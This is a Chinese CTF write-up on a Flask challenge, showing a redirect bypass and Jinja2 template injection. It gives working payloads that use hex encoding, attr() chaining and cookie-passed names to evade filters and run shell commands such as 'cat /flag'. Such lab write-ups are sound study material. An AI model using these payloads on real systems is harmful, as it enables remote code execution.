长安战疫 flask

114 阅读1分钟

本文已参与「新人创作礼」活动,一起开启掘金创作之路。

1NDEX

0x00 前言

补充flask基础知识

贴文档
request.full_path

Requested path as unicode, including the query string.

包含查询字符串的请求路径
直观一点
在这里插入图片描述

0x01 复现

注释带hint

            <div class="center-content error">
        <h3>you need login</h3>
        <!--/admin-->
        <!--/static.js-->
        <!--if not request.full_path.endswith(".js?"):
            if not request.full_path.startswith("/login"):
                return redirect("login")-->

    </div> 

进/admin 并绕过重定向
dbq…太菜了那时没想着加参数就能过

/admin?a=.js?
hello admin
    <!--admin/?name=-->

payload test
在这里插入图片描述
存在ssti
常规payload被ban了
fuzz一下看看过滤
在这里插入图片描述

目测过滤的有

  • []
  • __

后面知道subclasses也被ban了

学一下ssti进阶 羽师傅🐂👃

blog.csdn.net/miuzzx/arti…

想一下 attr+hex编码可以绕过

在这里插入图片描述
在这里插入图片描述
用getitem索引

ssti命令执行总结

blog.csdn.net/chizhaji/ar…

payload
记得空格换+号

/admin?name={{()|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5fbase\x5f\x5f")|attr("\x5f\x5fsub"+"classes\x5f\x5f")()|attr("\x5f\x5fgetitem\x5f\x5f")(118)|attr("\x5f\x5finit\x5f\x5f")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")('popen')('cat+/flag')|attr("read")()}}&a=.js?

另解

看很多dl都用request.cookie.xx + cookie传参
eg:原始payload

?name={{x.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()')}}

绕过payload+Cookie:

?name={{(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5)}}
x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=__import__('os').popen('cat /flag').read()

参考

blog.csdn.net/chizhaji/ar…
blog.csdn.net/miuzzx/arti…

0x02 Rethink

争取多练